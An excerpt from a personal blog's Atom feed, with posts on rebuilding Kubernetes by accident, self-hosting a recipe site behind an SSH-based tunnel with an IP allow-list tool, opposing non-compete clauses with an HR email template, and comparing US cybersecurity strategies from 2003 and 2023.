&lt;p&gt;Except if you quit or go on vacation, who will maintain this custom pile of shell scripts? The untested tarball handling? The inscrutable iptables rules? Who will know about those undocumented sysctl edits you made on the VM? So you add everything to Ansible, so that you may treat your VM as immutable and version-controlled. Certain, of course, that because you’re not using Kubernetes, it is going to be way easier to maintain than a Kubernetes cluster. What glorious engineering, you say to yourself.&lt;&#x2F;p&gt;
&lt;p&gt;In the last leg of your journey to avoid building a Kubernetes, your manager tells you that your app needs to programmatically spawn other containers. Spawning containers, of course, requires you to mount the Docker socket in your web app, which is wildly insecure. Not my problem, your manager says. So you write a separate service that exposes a safe subset of the Docker API to your web app. Done at last, you say to yourself, without having to build a Kubernetes.&lt;&#x2F;p&gt;
&lt;p&gt;A standard config format, a deployment method, an overlay network, service discovery, immutable nodes, and an API server. Dear friend, you have built a Kubernetes.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Addressed to,&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Those who wanted to avoid Kubernetes.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;PS: I don&#x27;t mean to imply that you can never roll your own deployment method that fits your needs better than Kubernetes, or that nothing will ever be better than Kubernetes. I just want to caution you, my friend, to make sure you understand the problems Kubernetes solves before dismissing it as overly-complex.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Flouting the Internet Protocols with Tunnels</title>
        <published>2024-11-12T00:00:00+00:00</published>
        <updated>2024-11-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2024/tunneling/"/>
        <id>https://www.macchaffee.com/blog/2024/tunneling/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2024/tunneling/">&lt;p&gt;Recently at work I&#x27;ve learned about &lt;a href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;cloudflare-one&#x2F;connections&#x2F;connect-networks&#x2F;&quot;&gt;Cloudflare Tunnels&lt;&#x2F;a&gt;, which has increased my interest in tunneling technologies in general.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Tunneling_protocol&quot;&gt;Tunneling&lt;&#x2F;a&gt; is a generic networking term, but in the web-dominated world it usually refers to software that you can run on any computer with outbound network access to serve a website. The tunneling software has a another component running in the cloud that configures DNS, terminates TLS, and handles the networking magic to send the packets to your computer.&lt;&#x2F;p&gt;
&lt;p&gt;My main interest is using tunneling for serving websites on my home server. While I&#x27;m fortunate to have a fairly static IP address, I don&#x27;t want to risk having to update my DNS records after a power outage, and I don&#x27;t like having to port-forward. I say &quot;sites&quot; plural, but I really just have one site, which is an instance of the open-source recipe site &lt;a href=&quot;https:&#x2F;&#x2F;mealie.io&#x2F;&quot;&gt;Mealie&lt;&#x2F;a&gt; at &lt;code&gt;recipes.macchaffee.com&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I feel like by using tunnels, the authors of various internet protocols are rolling in their graves (wait, are they mostly still alive?), but hey I&#x27;ve got websites that need to be deployed and my ISP won&#x27;t help me do it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;choosing-the-right-tunnel&quot;&gt;Choosing the right tunnel&lt;&#x2F;h2&gt;
&lt;p&gt;After skimming through the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;anderspitman&#x2F;awesome-tunneling&quot;&gt;awesome-tunneling&lt;&#x2F;a&gt; list, I struggle to find a better solution than Cloudflare Tunnels, much to my chagrin as someone who fears &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2024&#x2F;ddos-attacks&#x2F;&quot;&gt;the centralization of the Internet&lt;&#x2F;a&gt;. My ideal features include:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Designed for production use, not just development.&lt;&#x2F;li&gt;
&lt;li&gt;Good protocol choice for the tunnel itself, such as WireGuard or HTTP&#x2F;3.&lt;&#x2F;li&gt;
&lt;li&gt;Multi-regional, including integration with a CDN for caching (why not make the most of the extra network hop?).&lt;&#x2F;li&gt;
&lt;li&gt;Written in a performant, memory-safe language.&lt;&#x2F;li&gt;
&lt;li&gt;Extra server-side features like metrics, authentication, and everything else you&#x27;d expect from a modern load balancer.&lt;&#x2F;li&gt;
&lt;li&gt;Open-source.&lt;&#x2F;li&gt;
&lt;li&gt;Not a Cloudflare product.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;So to any older CDN providers looking to capture a piece of the modern stack, there&#x27;s your next idea!&lt;&#x2F;p&gt;
&lt;p&gt;With Cloudflare Tunnels out of the picture, I ended up compromising on #2, #3, and #5 on my wishlist and settled on &lt;a href=&quot;https:&#x2F;&#x2F;pico.sh&#x2F;tuns&quot;&gt;tuns&lt;&#x2F;a&gt;. They also offer &lt;a href=&quot;https:&#x2F;&#x2F;pico.sh&#x2F;pgs&quot;&gt;static site hosting&lt;&#x2F;a&gt; with features I wanted, so I took the bundle deal and got both.&lt;&#x2F;p&gt;
&lt;p&gt;The client-side part of tuns is just &lt;code&gt;ssh -R&lt;&#x2F;code&gt;, which makes it very easy to get started. There&#x27;s also &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;picosh&#x2F;tunmgr&quot;&gt;tunmgr&lt;&#x2F;a&gt; which is less than 1k lines of Go code, mainly just wrapping the &lt;code&gt;ssh -R&lt;&#x2F;code&gt; equivalent from Golang&#x27;s standard library, plus some optional Docker integration.&lt;&#x2F;p&gt;
&lt;p&gt;With my choice of tunneling software made, I moved on to the fun part: deploying tuns to serve traffic to my recipe site hosted on my home server.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;deploying&quot;&gt;Deploying&lt;&#x2F;h2&gt;
&lt;p&gt;First, a short summary of my homelab setup: It&#x27;s an Intel NUC minicomputer running &lt;a href=&quot;https:&#x2F;&#x2F;nixos.org&#x2F;&quot;&gt;NixOS&lt;&#x2F;a&gt; which is running &lt;a href=&quot;https:&#x2F;&#x2F;docs.k3s.io&#x2F;&quot;&gt;k3s&lt;&#x2F;a&gt; (a minimal Kubernetes distribution). Everything&#x27;s deployed from a git repo using &lt;a href=&quot;https:&#x2F;&#x2F;fluxcd.io&#x2F;&quot;&gt;FluxCD&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;So since tunmgr doesn&#x27;t provide a Kubernetes installation mechanism, I made it myself (&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;picosh&#x2F;tunmgr&#x2F;pull&#x2F;2&quot;&gt;and contributed it&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;The steps remaining were:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Generate a new SSH key.&lt;&#x2F;li&gt;
&lt;li&gt;Add it to my Pico account.&lt;&#x2F;li&gt;
&lt;li&gt;Also add it as a &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2022&#x2F;k8s-secrets&#x2F;&quot;&gt;Kubernetes Secret&lt;&#x2F;a&gt; (encrypted in git with &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;getsops&#x2F;sops&quot;&gt;SOPS&lt;&#x2F;a&gt;) to my cluster.&lt;&#x2F;li&gt;
&lt;li&gt;Deploy tunmgr (a single Deployment, with locked-down permissions and even an egress NetworkPolicy to ensure it only talks to the &lt;code&gt;tuns.sh&lt;&#x2F;code&gt; server).&lt;&#x2F;li&gt;
&lt;li&gt;Configure tunmgr to direct all traffic for &lt;code&gt;recipes.macchaffee.com&lt;&#x2F;code&gt; to &lt;a href=&quot;https:&#x2F;&#x2F;doc.traefik.io&#x2F;traefik&#x2F;&quot;&gt;Traefik&lt;&#x2F;a&gt; (this is needed to obtain normal load balancer features like metrics and IP allow-listing, which will come into play later).&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;After configuring my DNS and waiting a short delay for the TLS cert to be provisioned, my recipes site was up and running! No port-forwarding required! Here&#x27;s what it looks like:&lt;&#x2F;p&gt;
&lt;figure&gt;
  &lt;img src=&quot;&#x2F;blog&#x2F;2024&#x2F;tuns-diagram.png&quot; alt=&quot;A diagram showing traffic flowing from the tuns server, into a box representing my home server. Inside the home server box, the traffic first hits tunmgr, then traefik, then mealie.&quot;&#x2F;&gt;
  &lt;figcaption&gt;&lt;em&gt;Not pictured: hundreds of lines of YAML&lt;&#x2F;em&gt;&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;But then tragedy struck. As soon as the hostname &lt;code&gt;recipes.macchaffee.com&lt;&#x2F;code&gt; landed in the &lt;a href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;Security&#x2F;Certificate_Transparency&quot;&gt;Certificate Transparency&lt;&#x2F;a&gt; logs, I was reminded that the internet is a hostile place since I immediately received requests from scanners searching for vulnerabilities or sensitive files (a &lt;a href=&quot;https:&#x2F;&#x2F;blog.apnic.net&#x2F;2023&#x2F;08&#x2F;30&#x2F;certifiably-vulnerable-using-certificate-transparency-logs-for-target-reconnaissance&#x2F;&quot;&gt;common occurance&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;I constantly struggle with the balance between hosting &quot;public&quot; sites that aren&#x27;t &lt;em&gt;too&lt;&#x2F;em&gt; public, including this blog. My recipe site is the same. I want to be able to access it from outside my house, and I want my friends and family to be able to access it too without having to set up a VPN client or keep track of a password. But I don&#x27;t want random scanners to eventually find a vulnerability in Mealie and automatically deploy some malware straight out of a scifi horror movie on my home network.&lt;&#x2F;p&gt;
&lt;p&gt;So I needed to build the Internet equivalent of a &quot;No tresspassing&quot; sign, which I call &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mac-chaffee&#x2F;ip-pass&quot;&gt;&lt;code&gt;ip-pass&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;the-creation-of-ip-pass&quot;&gt;The creation of ip-pass&lt;&#x2F;h1&gt;
&lt;p&gt;My software engineer skills have been collecting dust ever since I moved into DevOps and started &quot;coding&quot; in YAML, but I dusted them off and started up &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mac-chaffee&#x2F;ip-pass&quot;&gt;a new Golang project&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This was also a good excuse to practice AI-assisted coding, since I&#x27;ve read a lot more Golang than I&#x27;ve written as a result of spending years debugging issues in various &lt;a href=&quot;https:&#x2F;&#x2F;www.cncf.io&#x2F;&quot;&gt;CNCF&lt;&#x2F;a&gt; projects. I just used &lt;a href=&quot;https:&#x2F;&#x2F;claude.ai&#x2F;&quot;&gt;Claude&lt;&#x2F;a&gt; for some things instead of scrolling through GitHub to find an example to copy&#x2F;paste. The only interesting thing that happened is Claude generated a test case with the IP address &lt;code&gt;203.0.113.333&lt;&#x2F;code&gt; which is invalid. Thankfully the test failed and caught it, because I didn&#x27;t notice. I think this is a lesson that &quot;just have a human check the AI&#x27;s output&quot; will never work because AI easily generates more output than humans have attention. You need strict automated checks (like a compiler) for this kind of thing.&lt;&#x2F;p&gt;
&lt;p&gt;The project is one giant &lt;code&gt;main.go&lt;&#x2F;code&gt; file which starts an HTTP server which reads the user&#x27;s IP address and uses the Kubernetes &lt;code&gt;client-go&lt;&#x2F;code&gt; to add the IP to an allow list. Since I&#x27;m using Traefik, ip-pass updates a &lt;a href=&quot;https:&#x2F;&#x2F;doc.traefik.io&#x2F;traefik&#x2F;middlewares&#x2F;http&#x2F;ipallowlist&#x2F;&quot;&gt;Traefik Middleware&lt;&#x2F;a&gt; that contains the allow-list.&lt;&#x2F;p&gt;
&lt;p&gt;There&#x27;s a web interface too, which I&#x27;ve deployed to &lt;code&gt;access.macchaffee.com&lt;&#x2F;code&gt; (also via &lt;code&gt;tuns&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;When you go to &lt;code&gt;access.macchaffee.com&lt;&#x2F;code&gt;, you click a big green &quot;Gain Access&quot; button which allow-lists your IP address and redirects you to &lt;code&gt;recipes.macchaffee.com&lt;&#x2F;code&gt;. Since the recipes site blocks all IPs not on the allow-list, bots are thwarted, but anyone with a brain and a browser can still get in with minimal hassle.&lt;&#x2F;p&gt;
&lt;p&gt;Obviously this has no &lt;em&gt;real&lt;&#x2F;em&gt; security benefits because it&#x27;s just security by obscurity. It&#x27;s like changing your default SSH port to something other than port 22. But I think it hits a sweet spot on the &lt;a href=&quot;https:&#x2F;&#x2F;blog.c3l-security.com&#x2F;2019&#x2F;06&#x2F;balancing-functionality-usability-and.html&quot;&gt;security, usability, functionality triangle&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Non-compete clauses won&#x27;t go away unless we act</title>
        <published>2024-08-24T00:00:00+00:00</published>
        <updated>2024-08-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2024/non-competes/"/>
        <id>https://www.macchaffee.com/blog/2024/non-competes/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2024/non-competes/">&lt;p&gt;If you&#x27;re reading this blog, there&#x27;s a high chance that you are one of the 1-in-5 workers who has a non-compete clause hiding in your employment contract. These are clauses that prevent workers from taking other jobs or starting other businesses that &quot;compete&quot; with the employer after leaving the job. I originally thought they were unique to highly-paid tech jobs, but actually &lt;a href=&quot;https:&#x2F;&#x2F;www.federalregister.gov&#x2F;d&#x2F;2024-09171&#x2F;p-111&quot;&gt;they are widespread&lt;&#x2F;a&gt;, even among workers earning less than $40,000 per year.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;eig.org&#x2F;state-noncompete-map&#x2F;&quot;&gt;After some states banned non-competes&lt;&#x2F;a&gt;, the Federal Trade Commission (FTC) was able to quantify exactly how beneficial a ban on non-competes was in those states. The benefits are massive. Non-compete clauses suppress wages, reduce innovation, increase healthcare costs, and even discourage workers from reporting (and escaping from) illegal discrimination and abuse. They published &lt;a href=&quot;https:&#x2F;&#x2F;www.federalregister.gov&#x2F;documents&#x2F;2024&#x2F;05&#x2F;07&#x2F;2024-09171&#x2F;non-compete-clause-rule&quot;&gt;570 pages of research&lt;&#x2F;a&gt; on this topic, which is a good read, but you can read the &lt;a href=&quot;https:&#x2F;&#x2F;www.ftc.gov&#x2F;system&#x2F;files&#x2F;ftc_gov&#x2F;pdf&#x2F;Non-Compete-Fact-Sheet.pdf&quot;&gt;3-page factsheet&lt;&#x2F;a&gt; to get the gist. All evidence points to non-competes being bad news.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quick note: I am not a lawyer, this is not legal advice.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Thankfully, despite their widespread use and some state-wide bans, non-compete clauses are considered illegal under federal law since 2023. I say &quot;considered&quot;, because their illegality rests on shaky ground right now. It rests on two pillars:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;In May 2023, the National Labor Relations Board (NLRB) issued a &lt;a href=&quot;https:&#x2F;&#x2F;www.nlrb.gov&#x2F;news-outreach&#x2F;news-story&#x2F;nlrb-general-counsel-issues-memo-on-non-competes-violating-the-national&quot;&gt;memo&lt;&#x2F;a&gt; saying they consider non-competes to be a violation of the National Labor Relations Act (NLRA), since non-competes &quot;interfere with, restrain, or coerce employees in the exercise of rights&quot; such as the right to organize. This pillar is still intact.
&lt;ul&gt;
&lt;li&gt;They&#x27;ve also issued a &lt;a href=&quot;https:&#x2F;&#x2F;www.nlrb.gov&#x2F;news-outreach&#x2F;news-story&#x2F;nlrb-general-counsel-issues-memo-with-guidance-to-regions-on-severance&quot;&gt;memo&lt;&#x2F;a&gt; saying they consider non-disparagement clauses illegal too.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;In April 2024, the FTC announced a &lt;a href=&quot;https:&#x2F;&#x2F;www.ftc.gov&#x2F;news-events&#x2F;news&#x2F;press-releases&#x2F;2024&#x2F;04&#x2F;ftc-announces-rule-banning-non-competes&quot;&gt;a new rule&lt;&#x2F;a&gt; which would have banned non-competes, based on those 570 pages of research I mentioned earlier. But before the rule took effect, &lt;a href=&quot;&#x2F;blog&#x2F;2024&#x2F;ftc_order.pdf&quot;&gt;a district court blocked it&lt;&#x2F;a&gt;, but the FTC can still address non-competes on a case-by-case basis. This pillar is crumbling, and faces an uncertain future in the Supreme Court.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Both of these pillars could be crushed to dust depending on who ends up controlling the executive branch of government.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-should-i-care&quot;&gt;Why should I care?&lt;&#x2F;h2&gt;
&lt;p&gt;While researching the effects of non-competes, the FTC received over &lt;a href=&quot;https:&#x2F;&#x2F;www.federalregister.gov&#x2F;d&#x2F;2024-09171&#x2F;p-75&quot;&gt;26,000 public comments&lt;&#x2F;a&gt;, of which 96% were supportive of a ban. In these comments, I believe anyone can find a strong reason to care. (Content warning: abuse, sexual harassment)&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I am a journalist who has been forced to move across the country three times, and leave my field entirely for one year, in order to comply with stringent non-compete agreements.... In [one] situation, I was stuck working for abusive management who fostered a toxic and abusive workplace, and I had to work there for more than a year until I could find a job in another city entirely because they had threatened to sue me under the non-compete if I left and worked for another local station.... [E]ven if these clauses are unenforceable, as we&#x27;ve all heard before, who can afford the legal representation to go up against a corporation and their lawyers when the lawsuit threat comes? My life would have been very different if I weren&#x27;t trapped by non-competes at points in my career.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;I am being sued right now for going into business on my own in Boston, Massachusetts, by my former employer who says I signed a non-compete in 2003, 20 years ago.... I am fighting them in court. Hopefully I will prevail.... [The] corporation I worked for is a billion-dollar corporation. And they just keep trying scare tactics to make me back down. They went as far as trying to get a preliminary injunction ordered against me. And the judge refused but I still have to spend $1,000 an hour to defend myself.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;In October 2020, I started working as a bartender at a company called [REDACTED] for $10 an hour. On my first day, I unknowingly signed a 2-year non-compete, slipped between other paperwork while my boss rushed me, and downplayed its importance.... At [REDACTED], I was sexually harassed and emotionally abused. I needed money, so I searched for a new job while remaining at [REDACTED] for one year. I was eventually offered a bartending job at a family-owned bar with better wages, conditions, and opportunities. Upon resigning, I was threatened with a non-compete I didn&#x27;t know existed. Still, I couldn&#x27;t take it anymore, so believing it was an unenforceable scare tactic, I took the new job, thinking our legal system wouldn&#x27;t allow a massive company with over 20 locations to sue a young entry-level worker with no degree. In December 2021, I was sued for $30,000 in “considerable and irreparable damages” for violating the non-compete...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;I started my first job as a Nurse Practitioner in 2019. All positions I interviewed for required a non-compete.... In my case, I work for an employer that is hostile, discriminated against me during pregnancy and maternity leave and has raised his voice at me in meetings. He told me I was lucky to even have a job after becoming pregnant. I learned after starting at the practice that he has shown this pattern before with previous employees. I say this because all of these above-mentioned reasons are why I have the right to want to quit my job and move on. I desperately want to leave and start another job but I can&#x27;t because of the non compete. I feel like a prisoner to my job. I feel depressed in my work conditions and I feel like I have no way out.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;what-can-i-do-about-it&quot;&gt;What can I do about it?&lt;&#x2F;h2&gt;
&lt;p&gt;Thankfully, even this crumbling legal basis is one that workers can capitalize on. You see, companies are generally risk-averse and they do not like the idea of potential &lt;a href=&quot;https:&#x2F;&#x2F;www.nlrb.gov&#x2F;about-nlrb&#x2F;what-we-do&#x2F;investigate-charges&quot;&gt;NLRB charges&lt;&#x2F;a&gt; or potential lawsuits from the FTC. As the FTC &lt;a href=&quot;https:&#x2F;&#x2F;www.federalregister.gov&#x2F;d&#x2F;2024-09171&#x2F;p-1456&quot;&gt;found&lt;&#x2F;a&gt;, there&#x27;s no good evidence to suggest companies are materially harmed by the loss of non-competes, especially since they can protect their interests through NDAs and trade secret laws. So merely asking for the illegal clause to be removed from your (and your coworkers&#x27;) contracts has a good chance of succeeding! All you have to do is ask.&lt;&#x2F;p&gt;
&lt;p&gt;Here is a template email:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Subject: Remove illegal non-compete clause from employment contract&lt;&#x2F;p&gt;
&lt;p&gt;Hello {name of HR representative},&lt;&#x2F;p&gt;
&lt;p&gt;I noticed that my employment contract includes a non-compete clause which has been considered illegal by the National Labor Relations Board since 2023. The Federal Trade Commission also considers non-compete clauses to be illegal because they stifle innovation, exploit workers, hinder the economy, and even harm employers.&lt;&#x2F;p&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.nlrb.gov&#x2F;news-outreach&#x2F;news-story&#x2F;nlrb-general-counsel-issues-memo-on-non-competes-violating-the-national&lt;&#x2F;p&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.ftc.gov&#x2F;system&#x2F;files&#x2F;ftc_gov&#x2F;pdf&#x2F;Non-Compete-Fact-Sheet.pdf&lt;&#x2F;p&gt;
&lt;p&gt;As a result, I&#x27;d like to formally request the removal of the non-compete clause from all standard employment contracts, including mine. This action will demonstrate that {company name} values innovation, fair competition, and the rights of its employees.&lt;&#x2F;p&gt;
&lt;p&gt;Looking forward to your response,&lt;&#x2F;p&gt;
&lt;p&gt;{your name}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Tell your coworkers to send this email as well to support your case. Remember that the &lt;a href=&quot;https:&#x2F;&#x2F;www.nlrb.gov&#x2F;about-nlrb&#x2F;rights-we-protect&#x2F;your-rights&#x2F;interference-with-employee-rights&quot;&gt;National Labor Relations Act&lt;&#x2F;a&gt; protects your &quot;right to join together to improve [your] working conditions, with or without a union&quot;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-if-they-say-no&quot;&gt;What if they say no?&lt;&#x2F;h2&gt;
&lt;p&gt;I&#x27;d recommend reminding them of your options for reporting noncompliance with the law:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Labor rights violations can be &lt;a href=&quot;https:&#x2F;&#x2F;www.nlrb.gov&#x2F;about-nlrb&#x2F;what-we-do&#x2F;investigate-charges&quot;&gt;reported to the NLRB by filing a charge&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Violations of the FTC&#x27;s rule against non-competes can be reported to &lt;a href=&quot;mailto:non-compete@ftc.gov&quot;&gt;non-compete@ftc.gov&lt;&#x2F;a&gt;. They can still choose to enforce the rule on a case-by-case basis.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;It doesn&#x27;t have to come to that though. You just need to inspire enough fear to convince a senior employee to look into it, and possibly spend the paltry (&lt;a href=&quot;https:&#x2F;&#x2F;www.federalregister.gov&#x2F;d&#x2F;2024-09171&#x2F;p-2296&quot;&gt;FTC-estimated&lt;&#x2F;a&gt;) $670 of lawyer-time to change it.&lt;&#x2F;p&gt;
&lt;p&gt;If they still say no, then this is a good history lesson that merely trying to convince powerful entities like companies to act contrary to their self-interest generally &lt;a href=&quot;https:&#x2F;&#x2F;www.radicalinprogress.org&#x2F;kendi-2019-summary-part-4&quot;&gt;does not work&lt;&#x2F;a&gt;. Change is primarily accomplished through the wielding of power to enact policy changes. Another way to do that is to convince your elected representatives to ban non-competes, who are (in theory) self-interested in helping you. You can find contact information for your representatives &lt;a href=&quot;https:&#x2F;&#x2F;www.usa.gov&#x2F;elected-officials&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;If you live in &lt;a href=&quot;https:&#x2F;&#x2F;eig.org&#x2F;state-noncompete-map&#x2F;&quot;&gt;a state that already has strong bans&lt;&#x2F;a&gt; against non-competes, then contact your senators to support House or Senate bills like the &lt;a href=&quot;https:&#x2F;&#x2F;www.congress.gov&#x2F;bill&#x2F;118th-congress&#x2F;senate-bill&#x2F;220&quot;&gt;Workforce Mobility Act&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Otherwise, contact your state representatives to introduce a bill that bans non-competes in your state, or to support existing bills if you see one &lt;a href=&quot;https:&#x2F;&#x2F;eig.org&#x2F;state-noncompete-map&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The world has enough horribly exploitative things happening in it. Let&#x27;s rid the world of this one.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Security in the 2000s</title>
        <published>2024-06-19T00:00:00+00:00</published>
        <updated>2024-06-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2024/2000s-security/"/>
        <id>https://www.macchaffee.com/blog/2024/2000s-security/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2024/2000s-security/">&lt;p&gt;Lately I&#x27;ve been obsessing over this &lt;a href=&quot;https:&#x2F;&#x2F;www.propublica.org&#x2F;article&#x2F;microsoft-solarwinds-golden-saml-data-breach-russian-hackers&quot;&gt;ProPublica article&lt;&#x2F;a&gt; which talks about Microsoft&#x27;s involvement in the SolarWinds hacks, specifically due to a design weakness in Microsoft&#x27;s &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Active_Directory_Federation_Services&quot;&gt;Active Directory Federation Services (ADFS)&lt;&#x2F;a&gt;. It&#x27;s a great article, highly recommended.&lt;&#x2F;p&gt;
&lt;p&gt;Anyway, the wiki page for ADFS says it first appeared around 2003, which made me wonder: what did the cybersecurity field look like in the early 2000s? Since the field still sucks today, surely it must have been really bad then, right?&lt;&#x2F;p&gt;
&lt;p&gt;Well I came across a document from 2003 called &quot;&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;National_Strategy_to_Secure_Cyberspace&quot;&gt;The National Strategy to Secure Cyberspace&lt;&#x2F;a&gt;&quot; which was the security strategy of the Bush administration. Despite its age, it&#x27;s pretty... normal actually. When you fast-forward 20 years later to 2023 and read the Biden administration&#x27;s &quot;&lt;a href=&quot;https:&#x2F;&#x2F;www.whitehouse.gov&#x2F;wp-content&#x2F;uploads&#x2F;2023&#x2F;03&#x2F;National-Cybersecurity-Strategy-2023.pdf&quot;&gt;National Cybersecurity Strategy&lt;&#x2F;a&gt;&quot;, the technical differences are kinda minor. I&#x27;m happy to see &quot;secure by design&quot; mentioned a few times in 2003:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Nation must seek to ensure that future components of the cyber infrastructure are built to be inherently secure and dependable for their users.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Some new technologies introduce security weaknesses that are only corrected over time, with great difficulty, or sometimes not at all.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;But there is one major difference: One was written by a presidential administration that &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;United_States_v._Microsoft_Corp.&quot;&gt;&lt;em&gt;dropped&lt;&#x2F;em&gt; anti-trust charges against Big Tech&lt;&#x2F;a&gt;, and one was written by a presidential administration that is &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;United_States_v._Google_LLC_(2020)&quot;&gt;&lt;em&gt;leading&lt;&#x2F;em&gt; anti-trust charges against Big Tech&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Here are two illustrative quotes of the difference in regulatory philosophy:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(2003) Federal regulation will not become a primary means of securing cyberspace. Broad regulations mandating how all corporations must configure their information systems could divert more successful efforts by creating a lowest-common- denominator approach to cybersecurity, which evolving technology would quickly marginalize. Even worse, such an approach could result in less secure and more homogeneous security architectures than we have now. By law, some federal regulatory agencies already include cybersecurity considerations in their oversight activity. However, the market itself is expected to provide the major impetus to improve cybersecurity.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;(2023) While voluntary approaches to critical infrastructure cybersecurity have produced meaningful improvements, the lack of mandatory requirements has resulted in inadequate and inconsistent outcomes. Today’s marketplace insufficiently rewards—and often disadvantages—the owners and operators of critical infrastructure who invest in proactive measures to prevent or mitigate the effects of cyber incidents. Regulation can level the playing field, enabling healthy competition without sacrificing cybersecurity or operational resilience. Our strategic environment requires modern and nimble regulatory frameworks for cybersecurity tailored for each sector’s risk profile, harmonized to reduce duplication, complementary to public-private collaboration, and cognizant of the cost of implementation.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
